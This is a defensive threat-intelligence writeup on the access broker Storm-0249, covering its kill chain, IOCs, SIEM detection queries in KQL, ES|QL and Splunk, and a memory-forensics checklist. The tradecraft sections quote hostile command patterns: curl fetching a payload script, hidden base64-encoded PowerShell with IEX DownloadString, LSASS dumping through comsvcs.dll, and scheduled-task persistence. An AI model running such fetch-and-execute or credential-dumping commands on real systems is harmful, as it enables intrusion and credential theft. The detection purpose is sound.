Storm-0249 is a precision access broker that weaponizes trust — abusing signed binaries, EDR processes, PowerShell, and social engineering to silently establish enterprise access and sell it to ransomware groups. Detection requires behavioral and memory-level telemetry, not static IOCs.

Classification: Financially motivated Initial Access Broker (IAB)
Primary Role: Gain foothold → establish persistence → sell access to ransomware affiliates
Victim Profile: Mid-to-large enterprises (NA/EU), Windows AD environments
Operational Goal: Fast, stealthy access with minimal tooling footprint

Storm-0249 rarely deploys ransomware themselves. Their value is speed + stealth + reliability of access.

Full Attack Chain (Kill Chain Level)

1. Initial Access – Phishing & Social Engineering

Delivery Vectors

HTML smuggling
PDF with embedded URLs
ISO / IMG attachments
ZIP containing LNK or JS
“ClickFix” social engineering (fake error → copy/paste PowerShell)

Common Lures

Tax notices
Invoice discrepancies
Voicemail / fax
Security alert impersonation

2. Execution – Loader Deployment

Primary Loaders Observed

Malware	Purpose
Latrodectus	Primary JavaScript-based loader
BazaLoader	Legacy downloader
Bumblebee	Modular loader
IcedID	Banking trojan + access broker tooling
BRc4 (Brute Ratel)	Post-exploitation C2

Detailed IOC Breakdown

Network IOCs (Observed & Pattern-Based)

Known Malicious Domains

sgcipl[.]com

Domain Characteristics (Very Important)

Domain age: < 30 days
TLS: Let’s Encrypt
Hosting: Low-cost VPS (Hetzner / OVH / DigitalOcean patterns)
URL paths impersonate Microsoft:

Network Behavior

Outbound HTTPS only (TCP/443)
JA3 hashes often mimic Chrome
C2 beacon interval: 30–90 seconds
POST requests with encrypted blobs (RC4/AES)

Host-Based IOCs (Extremely Important)

LOLBins Used (Living-Off-the-Land)

curl.exe

curl.exe https://<domain>/payload.ps1 -o %TEMP%\x.ps1

powershell.exe (Fileless)

powershell -nop -w hidden -enc <BASE64>

Key Flags

-nop
-w hidden
-enc
IEX (New-Object Net.WebClient).DownloadString()

DLL Sideloading (Critical Storm-0249 Tradecraft)

Abused Signed Binaries

SentinelAgentWorker.exe
SentinelAgent.exe

Malicious DLL Names

SentinelAgentCore.dll
version.dll
dbghelp.dll

Red Flags

DLL loaded from:

C:\Users\<user>\AppData\
C:\ProgramData\
C:\Temp\

Instead of:

C:\Program Files\
C:\Program Files (x86)\

Detection Logic

Signed EDR process loading unsigned DLL from user-writable directory = HIGH confidence Storm-0249

File System Artifacts

Common Drop Locations

%APPDATA%
%LOCALAPPDATA%
C:\ProgramData\
C:\Users\Public\

File Extensions

.js
.ps1
.dll
.dat
.tmp

Naming Patterns

Random 5–8 character names
Masquerading as Microsoft / security tools

Persistence Mechanisms

Registry Run Keys

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\Run

Scheduled Tasks

schtasks /create /sc minute /mo 5

WMI Event Subscriptions

__EventFilter
CommandLineEventConsumer

Credential Access & Discovery

Commands Observed

whoami /all
net user /domain
nltest /dclist
ipconfig /all

LSASS Access

MiniDumpWriteDump
comsvcs.dll abuse
Procdump renamed

Lateral Movement Prep

Storm-0249 typically stops here and hands access to ransomware actors, but prepares environment by:

Enumerating AD trusts
Checking SMB shares
Testing RDP availability
Validating local admin rights

Behavioral Detection Signals (High Confidence)

Behavior	Confidence
PowerShell base64 execution	High
curl → PowerShell chain	Very High
Signed EDR binary DLL sideload	Extreme
Young domain + HTTPS beacon	High
Phishing → loader → BRc4	Confirmed

Detection Engineering (Actionable)

SIEM / EDR Must-Have Detections

PowerShell with -enc
curl.exe spawning PowerShell
Unsigned DLL loaded by signed process
EDR process executing from non-Program Files path
HTTPS traffic to domains <30 days old

Why Storm-0249 Is Dangerous

Minimal malware footprint
Heavy use of trusted binaries
Short dwell time before ransomware deployment
Extremely hard to attribute post-handoff

Microsoft Sentinel — KQL Detections

curl.exe → PowerShell Fileless Execution (HIGH CONFIDENCE)

DeviceProcessEvents
| where InitiatingProcessFileName =~ "curl.exe"
| where FileName =~ "powershell.exe"
| where ProcessCommandLine has_any ("-enc","-nop","-w hidden","IEX","DownloadString")
| project TimeGenerated, DeviceName, AccountName,
          InitiatingProcessCommandLine, ProcessCommandLine

Why it matters:
Storm-0249 heavily abuses curl + PowerShell to avoid disk artifacts.

Base64-Encoded PowerShell (Generic but Critical)

DeviceProcessEvents
| where FileName =~ "powershell.exe"
| where ProcessCommandLine matches regex @"-enc\s+[A-Za-z0-9+/=]{100,}"
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine

Signed Binary Loading DLL from User-Writable Path (EXTREME CONFIDENCE)

DeviceImageLoadEvents
| where InitiatingProcessFileName in~ (
    "SentinelAgent.exe",
    "SentinelAgentWorker.exe"
)
| where FolderPath !startswith @"C:\Program Files"
| where FolderPath !startswith @"C:\Windows\System32"
| project TimeGenerated, DeviceName,
          InitiatingProcessFileName, FolderPath, FileName

If this fires → treat as active compromise

Young Domain HTTPS Beaconing

let YoungDomains =
    DeviceNetworkEvents
    | where RemoteUrl !has ".microsoft.com"
    | summarize firstSeen=min(TimeGenerated) by RemoteUrl
    | where firstSeen > ago(30d);

DeviceNetworkEvents
| where RemotePort == 443
| where RemoteUrl in (YoungDomains)
| summarize count(), min(TimeGenerated), max(TimeGenerated)
  by DeviceName, RemoteUrl

LOLBin Abuse From Email-Delivered Context

DeviceProcessEvents
| where FileName in~ ("powershell.exe","wscript.exe","mshta.exe","curl.exe")
| where InitiatingProcessFileName in~ ("outlook.exe","winword.exe","excel.exe")
| project TimeGenerated, DeviceName, FileName, ProcessCommandLine

Elastic Security (ES|QL / KQL-like)

curl → PowerShell Chain

process
| where parent.name == "curl.exe"
| where name == "powershell.exe"
| where command_line like "*-enc*" or command_line like "*IEX*"
| keep @timestamp, host.name, user.name, parent.command_line, command_line

DLL Sideload via Signed Binary

library
| where process.name in (
  "SentinelAgent.exe",
  "SentinelAgentWorker.exe"
)
| where not dll.path like "C:\\Program Files%"
| where not dll.path like "C:\\Windows\\System32%"
| keep @timestamp, host.name, process.name, dll.path

Fileless PowerShell

process
| where name == "powershell.exe"
| where command_line like "*-nop*" and command_line like "*-enc*"
| keep @timestamp, host.name, user.name, command_line

Splunk SPL Detections

curl → PowerShell Execution Chain

index=endpoint
parent_process_name=curl.exe
process_name=powershell.exe
(CommandLine="*-enc*" OR CommandLine="*IEX*")
| table _time host user parent_command_line CommandLine

Suspicious PowerShell Base64

index=endpoint process_name=powershell.exe
| regex CommandLine="-enc\s+[A-Za-z0-9+/=]{100,}"
| table _time host user CommandLine

Signed Binary DLL Sideload

index=endpoint
process_name IN ("SentinelAgent.exe","SentinelAgentWorker.exe")
| where NOT like(dll_path,"C:\\Program Files%")
| where NOT like(dll_path,"C:\\Windows\\System32%")
| table _time host process_name dll_path

Young Domain HTTPS C2

index=network dest_port=443
| stats earliest(_time) as firstSeen by dest_domain
| where firstSeen > relative_time(now(), "-30d")

Memory Forensics Checklist (Storm-0249)

Capture memory IMMEDIATELY — fileless malware will vanish on reboot.

Acquisition

Magnet RAM Capture
WinPMEM
Capture before isolation if possible

Volatility / Rekall Modules

Process & Injection

pslist
pstree
malfind
ldrmodules

Look for:

RWX memory regions
Hollowed PowerShell
Unsigned DLLs loaded in signed processes

PowerShell Artifacts

cmdline
consoles
handles

Extract base64 payloads from command line memory
Look for System.Management.Automation.dll

Network

netscan
connscan

HTTPS connections with no browser parent
PowerShell / EDR binary owning sockets

DLL Sideload Detection

dlllist -p <PID>

Red Flags

SentinelAgent*.exe loading DLLs from:
- AppData
- ProgramData
- Temp directories

Credential Theft

lsadump

Check LSASS access handles
comsvcs.dll presence

Evidence to Preserve

Memory dump
Prefetch files
Shimcache / Amcache
PowerShell operational logs
Email artifacts (original MIME)

Incident Handling Guidance

DO NOT reboot
Isolate host after memory capture
Rotate all credentials used on host
Assume ransomware follow-on within 24–72 hours

Storm-0249 detections succeed only when behavior-based telemetry is enabled. Static IOCs expire quickly — process ancestry, DLL paths, and memory artifacts do not.

Storm-0249 Kill Chain: Practical Detections Before Ransomware